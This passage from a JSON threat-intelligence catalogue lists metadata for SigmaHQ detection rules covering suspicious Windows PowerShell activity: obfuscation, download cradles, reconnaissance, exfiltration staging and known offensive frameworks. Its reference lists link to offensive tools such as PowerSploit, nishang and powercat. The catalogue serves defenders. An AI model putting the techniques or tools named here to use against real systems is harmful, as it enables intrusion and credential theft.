      "description": "Detects Commandlet names from well-known PowerShell exploitation frameworks",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
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          "Unknown"
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          "https://github.com/dafthack/DomainPasswordSpray/blob/b13d64a5834694aa73fd2aea9911a83027c465a7/DomainPasswordSpray.ps1",
          "https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware/",
          "https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfce4e2d67b626cbcf4404341cfe3d3b6/Get-DXWebcamVideo.ps1",
          "https://github.com/calebstewart/CVE-2021-1675",
          "https://github.com/besimorhino/powercat",
          "https://bloodhound.readthedocs.io/en/latest/data-collection/azurehound.html",
          "https://github.com/Kevin-Robertson/Powermad",
          "https://github.com/S3cur3Th1sSh1t/PowerSharpPack/tree/master/PowerSharpBinaries",
          "https://github.com/adrecon/AzureADRecon",
          "https://github.com/BloodHoundAD/BloodHound/blob/0927441f67161cc6dc08a53c63ceb8e333f55874/Collectors/AzureHound.ps1",
          "https://github.com/DarkCoderSc/PowerRunAsSystem/",
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          "https://github.com/BC-SECURITY/Invoke-ZeroLogon/blob/111d17c7fec486d9bb23387e2e828b09a26075e4/Invoke-ZeroLogon.ps1",
          "https://adsecurity.org/?p=2921",
          "https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/",
          "https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32bacccff75e931ae00554/OfficeMemScraper.ps1",
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        {
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        {
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      ],
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          "attack.execution",
          "attack.t1059.001",
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        {
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      ],
      "uuid": "96b9f619-aa91-478f-bacb-c3e50f8df575",
      "value": "Remote PowerShell Session (PS Module)"
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    {
      "description": "Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and\nto identify potential systems of interest for Lateral Movement.\nNetworks often contain shared network drives and folders that enable users to access file directories on various systems across a network.\n",
      "meta": {
        "author": "frack113",
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          "Administrator script"
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        "logsource.category": "ps_module",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.002/T1069.002.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_smb_share_reco.yml"
        ],
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          "attack.discovery",
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      },
      "related": [
        {
          "dest-uuid": "a01bf75f-00b2-4568-a58f-565ff9bf202b",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "6942bd25-5970-40ab-af49-944247103358",
      "value": "Suspicious Get Information for SMB Share - PowerShell Module"
    },
    {
      "description": "Detects Obfuscated Powershell via use MSHTA in Scripts",
      "meta": {
        "author": "Nikita Nazarov, oscd.community",
        "creation_date": "2020/10/08",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_pm_invoke_obfuscation_via_use_mhsta.yml",
        "level": "high",
        "logsource.category": "ps_module",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/issues/1009",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_use_mhsta.yml"
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      },
      "related": [
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            "estimative-language:likelihood-probability=\"almost-certain\""
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        {
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          "type": "related-to"
        }
      ],
      "uuid": "07ad2ea8-6a55-4ac6-bf3e-91b8e59676eb",
      "value": "Invoke-Obfuscation Via Use MSHTA - PowerShell Module"
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    {
      "description": "Detects Obfuscated Powershell via COMPRESS OBFUSCATION",
      "meta": {
        "author": "Timur Zinniatullin, oscd.community",
        "creation_date": "2020/10/18",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_pm_invoke_obfuscation_via_compress.yml",
        "level": "medium",
        "logsource.category": "ps_module",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/issues/1009",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_compress.yml"
        ],
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          "attack.defense_evasion",
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          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
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          "type": "related-to"
        },
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
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          "type": "related-to"
        }
      ],
      "uuid": "7034cbbb-cc55-4dc2-8dad-36c0b942e8f1",
      "value": "Invoke-Obfuscation COMPRESS OBFUSCATION - PowerShell Module"
    },
    {
      "description": "Detects suspicious PowerShell download command",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2017/03/05",
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          "PowerShell scripts that download content from the Internet"
        ],
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        "level": "medium",
        "logsource.category": "ps_module",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_download.yml"
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      },
      "related": [
        {
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      ],
      "uuid": "de41232e-12e8-49fa-86bc-c05c7e722df9",
      "value": "Suspicious PowerShell Download - PoshModule"
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      "description": "Detects Obfuscated Powershell via Stdin in Scripts",
      "meta": {
        "author": "Nikita Nazarov, oscd.community",
        "creation_date": "2020/10/12",
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        ],
        "filename": "posh_pm_invoke_obfuscation_via_stdin.yml",
        "level": "high",
        "logsource.category": "ps_module",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/issues/1009",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_stdin.yml"
        ],
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      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
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      ],
      "uuid": "c72aca44-8d52-45ad-8f81-f96c4d3c755e",
      "value": "Invoke-Obfuscation Via Stdin - PowerShell Module"
    },
    {
      "description": "Detects Obfuscated use of Clip.exe to execute PowerShell",
      "meta": {
        "author": "Jonathan Cheong, oscd.community",
        "creation_date": "2020/10/13",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_pm_invoke_obfuscation_clip.yml",
        "level": "high",
        "logsource.category": "ps_module",
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        "refs": [
          "https://github.com/SigmaHQ/sigma/issues/1009",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_clip.yml"
        ],
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      ],
      "uuid": "a136cde0-61ad-4a61-9b82-8dc490e60dd2",
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    {
      "description": "Detects the execution of known offensive powershell scripts used for exploitation or reconnaissance",
      "meta": {
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          "Unknown"
        ],
        "filename": "posh_pm_exploit_scripts.yml",
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        "logsource.category": "ps_module",
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        "refs": [
          "https://github.com/dafthack/DomainPasswordSpray/blob/b13d64a5834694aa73fd2aea9911a83027c465a7/DomainPasswordSpray.ps1",
          "https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware/",
          "https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfce4e2d67b626cbcf4404341cfe3d3b6/Get-DXWebcamVideo.ps1",
          "https://github.com/besimorhino/powercat",
          "https://github.com/S3cur3Th1sSh1t/PowerSharpPack/tree/master/PowerSharpBinaries",
          "https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32bacccff75e931ae00554/OfficeMemScraper.ps1",
          "https://github.com/S3cur3Th1sSh1t/WinPwn",
          "https://github.com/DarkCoderSc/PowerRunAsSystem/",
          "https://github.com/AlsidOfficial/WSUSpendu/",
          "https://github.com/samratashok/nishang",
          "https://github.com/HarmJ0y/DAMP",
          "https://github.com/PowerShellMafia/PowerSploit",
          "https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/",
          "https://github.com/BC-SECURITY/Invoke-ZeroLogon/blob/111d17c7fec486d9bb23387e2e828b09a26075e4/Invoke-ZeroLogon.ps1",
          "https://github.com/NetSPI/PowerUpSQL",
          "https://github.com/nettitude/Invoke-PowerThIEf",
          "https://github.com/CsEnox/EventViewer-UACBypass",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_exploit_scripts.yml"
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          "attack.t1059.001"
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      ],
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      "value": "Malicious PowerShell Scripts - PoshModule"
    },
    {
      "description": "Detects suspicious PowerShell invocation command parameters",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
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          "Very special / sneaky PowerShell scripts"
        ],
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        "level": "high",
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          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_invocation_generic.yml"
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          "attack.t1059.001"
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      "value": "Suspicious PowerShell Invocations - Generic - PowerShell Module"
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      "description": "Detects SyncAppvPublishingServer process execution which usually utilized by adversaries to bypass PowerShell execution restrictions.",
      "meta": {
        "author": "Ensar Şamil, @sblmsrsn, OSCD Community",
        "creation_date": "2020/10/05",
        "falsepositive": [
          "App-V clients"
        ],
        "filename": "posh_pm_syncappvpublishingserver_exe.yml",
        "level": "medium",
        "logsource.category": "ps_module",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_syncappvpublishingserver_exe.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218"
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      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "fe5ce7eb-dad8-467c-84a9-31ec23bd644a",
      "value": "SyncAppvPublishingServer Bypass Powershell Restriction - PS Module"
    },
    {
      "description": "Detects Obfuscated Powershell via RUNDLL LAUNCHER",
      "meta": {
        "author": "Timur Zinniatullin, oscd.community",
        "creation_date": "2020/10/18",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_pm_invoke_obfuscation_via_rundll.yml",
        "level": "medium",
        "logsource.category": "ps_module",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/issues/1009",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_rundll.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027",
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      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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          "type": "related-to"
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      ],
      "uuid": "a23791fe-8846-485a-b16b-ca691e1b03d4",
      "value": "Invoke-Obfuscation RUNDLL LAUNCHER - PowerShell Module"
    },
    {
      "description": "Detects Obfuscated use of Environment Variables to execute PowerShell",
      "meta": {
        "author": "Jonathan Cheong, oscd.community",
        "creation_date": "2020/10/15",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_pm_invoke_obfuscation_var.yml",
        "level": "high",
        "logsource.category": "ps_module",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/issues/1009",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_var.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027",
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "6bfb8fa7-b2e7-4f6c-8d9d-824e5d06ea9e",
      "value": "Invoke-Obfuscation VAR+ Launcher - PowerShell Module"
    },
    {
      "description": "Detects suspicious PowerShell invocation command parameters",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Jonhnathan Ribeiro",
        "creation_date": "2017/03/05",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_pm_susp_invocation_specific.yml",
        "level": "high",
        "logsource.category": "ps_module",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_invocation_specific.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "8ff28fdd-e2fa-4dfa-aeda-ef3d61c62090",
      "value": "Suspicious PowerShell Invocations - Specific - PowerShell Module"
    },
    {
      "description": "The Reset-ComputerMachinePassword cmdlet changes the computer account password that the computers use to authenticate to the domain controllers in the domain.\nYou can use it to reset the password of the local computer.\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/02/21",
        "falsepositive": [
          "Administrator PowerShell scripts"
        ],
        "filename": "posh_pm_susp_reset_computermachinepassword.yml",
        "level": "medium",
        "logsource.category": "ps_module",
        "logsource.product": "windows",
        "refs": [
          "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/",
          "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/reset-computermachinepassword?view=powershell-5.1",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_reset_computermachinepassword.yml"
        ],
        "tags": [
          "attack.initial_access",
          "attack.t1078"
        ]
      },
      "related": [
        {
          "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e3818659-5016-4811-a73c-dde4679169d2",
      "value": "Suspicious Computer Machine Password by PowerShell"
    },
    {
      "description": "Detects PowerShell module creation where the module Contents are set to \"function Get-VMRemoteFXPhysicalVideoAdapter\". This could be a sign of potential abuse of the \"RemoteFXvGPUDisablement.exe\" binary which is known to be vulnerable to module load-order hijacking.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems), frack113",
        "creation_date": "2021/07/13",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_pm_remotefxvgpudisablement_abuse.yml",
        "level": "high",
        "logsource.category": "ps_module",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/AtomicTestHarnesses/blob/7e1e4da116801e3d6fcc6bedb207064577e40572/TestHarnesses/T1218_SignedBinaryProxyExecution/InvokeRemoteFXvGPUDisablementCommand.ps1",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_remotefxvgpudisablement_abuse.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "38a7625e-b2cb-485d-b83d-aff137d859f4",
      "value": "Potential RemoteFXvGPUDisablement.EXE Abuse - PowerShell Module"
    },
    {
      "description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/12/10",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_pm_susp_get_nettcpconnection.yml",
        "level": "low",
        "logsource.category": "ps_module",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md#atomic-test-2---system-network-connections-discovery-with-powershell",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_get_nettcpconnection.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1049"
        ]
      },
      "related": [
        {
          "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "aff815cc-e400-4bf0-a47a-5d8a2407d4e1",
      "value": "Use Get-NetTCPConnection - PowerShell Module"
    },
    {
      "description": "Detects Obfuscated Powershell via use Rundll32 in Scripts",
      "meta": {
        "author": "Nikita Nazarov, oscd.community",
        "creation_date": "2019/10/08",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_pm_invoke_obfuscation_via_use_rundll32.yml",
        "level": "high",
        "logsource.category": "ps_module",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/issues/1009",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_use_rundll32.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027",
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "88a22f69-62f9-4b8a-aa00-6b0212f2f05a",
      "value": "Invoke-Obfuscation Via Use Rundll32 - PowerShell Module"
    },
    {
      "description": "Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/07/20",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_pm_susp_zip_compress.yml",
        "level": "medium",
        "logsource.category": "ps_module",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1074.001/T1074.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_zip_compress.yml"
        ],
        "tags": [
          "attack.collection",
          "attack.t1074.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "daf7eb81-35fd-410d-9d7a-657837e602bb",
      "value": "Zip A Folder With PowerShell For Staging In Temp  - PowerShell Module"
    },
    {
      "description": "Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic.\nCommands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/23",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_susp_invoke_webrequest_useragent.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1071.001/T1071.001.md#t1071001---web-protocols",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_invoke_webrequest_useragent.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1071.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "d4488827-73af-4f8d-9244-7b7662ef046e",
      "value": "Change User Agents with WebRequest"
    },
    {
      "description": "Detects usage of the \"Add-WindowsCapability\" cmdlet to add Windows capabilities. Notable capabilities could be \"OpenSSH\" and others.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/01/22",
        "falsepositive": [
          "Legitimate usage of the capabilities by administrators or users. Add additional filters accordingly."
        ],
        "filename": "posh_ps_add_windows_capability.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://learn.microsoft.com/en-us/windows-server/administration/openssh/openssh_install_firstuse?tabs=powershell",
          "https://www.virustotal.com/gui/file/af1c82237b6e5a3a7cdbad82cc498d298c67845d92971bada450023d1335e267/content",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_add_windows_capability.yml"
        ],
        "tags": [
          "attack.execution"
        ]
      },
      "uuid": "155c7fd5-47b4-49b2-bbeb-eb4fab335429",
      "value": "Add Windows Capability Via PowerShell Script"
    },
    {
      "description": "Detects TOKEN OBFUSCATION technique from Invoke-Obfuscation",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/12/27",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_token_obfuscation.yml",
        "level": "high",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/danielbohannon/Invoke-Obfuscation",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_token_obfuscation.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027.009"
        ]
      },
      "related": [
        {
          "dest-uuid": "0533ab23-3f7d-463f-9bd8-634d27e4dee1",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f3a98ce4-6164-4dd4-867c-4d83de7eca51",
      "value": "Powershell Token Obfuscation - Powershell"
    },
    {
      "description": "The infrastructure for management data and operations that enables local and remote management of Windows personal computers and servers",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/12",
        "falsepositive": [
          "Legitimate PowerShell scripts"
        ],
        "filename": "posh_ps_susp_gwmi.yml",
        "level": "low",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-wmiobject?view=powershell-5.1&viewFallbackFrom=powershell-7",
          "https://attack.mitre.org/datasources/DS0005/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_gwmi.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1546"
        ]
      },
      "related": [
        {
          "dest-uuid": "b6301b64-ef57-4cce-bb0b-77026f14a8db",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "0332a266-b584-47b4-933d-a00b103e1b37",
      "value": "Suspicious Get-WmiObject"
    },
    {
      "description": "Detects the use of various web request commands with commandline tools and Windows PowerShell cmdlets (including aliases) via PowerShell scriptblock logs",
      "meta": {
        "author": "James Pemberton / @4A616D6573",
        "creation_date": "2019/10/24",
        "falsepositive": [
          "Use of Get-Command and Get-Help modules to reference Invoke-WebRequest and Start-BitsTransfer."
        ],
        "filename": "posh_ps_web_request_cmd_and_cmdlets.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://4sysops.com/archives/use-powershell-to-download-a-file-with-http-https-and-ftp/",
          "https://blog.jourdant.me/post/3-ways-to-download-files-with-powershell",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_web_request_cmd_and_cmdlets.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1139d2e2-84b1-4226-b445-354492eba8ba",
      "value": "Usage Of Web Request Commands And Cmdlets - ScriptBlock"
    },
    {
      "description": "Detects PowerShell module creation where the module Contents are set to \"function Get-VMRemoteFXPhysicalVideoAdapter\". This could be a sign of potential abuse of the \"RemoteFXvGPUDisablement.exe\" binary which is known to be vulnerable to module load-order hijacking.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/05/09",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_remotefxvgpudisablement_abuse.yml",
        "level": "high",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/AtomicTestHarnesses/blob/7e1e4da116801e3d6fcc6bedb207064577e40572/TestHarnesses/T1218_SignedBinaryProxyExecution/InvokeRemoteFXvGPUDisablementCommand.ps1",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_remotefxvgpudisablement_abuse.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "cacef8fc-9d3d-41f7-956d-455c6e881bc5",
      "value": "Potential RemoteFXvGPUDisablement.EXE Abuse - PowerShell ScriptBlock"
    },
    {
      "description": "Uses PowerShell to install/copy a a file into a system directory such as \"System32\" or \"SysWOW64\"",
      "meta": {
        "author": "frack113, Nasreddine Bencherchali",
        "creation_date": "2021/12/27",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_copy_item_system_directory.yml",
        "level": "high",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1556.002/T1556.002.md#atomic-test-1---install-and-register-password-filter-dll",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_copy_item_system_directory.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1556.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "3731fbcd-0e43-47ae-ae6c-d15e510f0d42",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "63bf8794-9917-45bc-88dd-e1b5abc0ecfd",
      "value": "Powershell Install a DLL in System Directory"
    },
    {
      "description": "Detects the execution of an MSI file using PowerShell and the WMI Win32_Product class",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/04/24",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_win32_product_install_msi.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_win32_product_install_msi.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218.007"
        ]
      },
      "related": [
        {
          "dest-uuid": "365be77f-fc0e-42ee-bac8-4faf806d9336",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "91109523-17f0-4248-a800-f81d9e7c081d",
      "value": "PowerShell WMI Win32_Product Install MSI"
    },
    {
      "description": "Detects Obfuscated use of stdin to execute PowerShell",
      "meta": {
        "author": "Jonathan Cheong, oscd.community",
        "creation_date": "2020/10/15",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_invoke_obfuscation_stdin.yml",
        "level": "high",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/issues/1009",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_stdin.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027",
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "779c8c12-0eb1-11eb-adc1-0242ac120002",
      "value": "Invoke-Obfuscation STDIN+ Launcher - Powershell"
    },
    {
      "description": "Adversaries may abuse PowerShell commands and scripts for execution.\nPowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/06",
        "falsepositive": [
          "Legitimate administrative script"
        ],
        "filename": "posh_ps_remote_session_creation.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-10---powershell-invoke-downloadcradle",
          "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/new-pssession?view=powershell-7.2",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_remote_session_creation.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
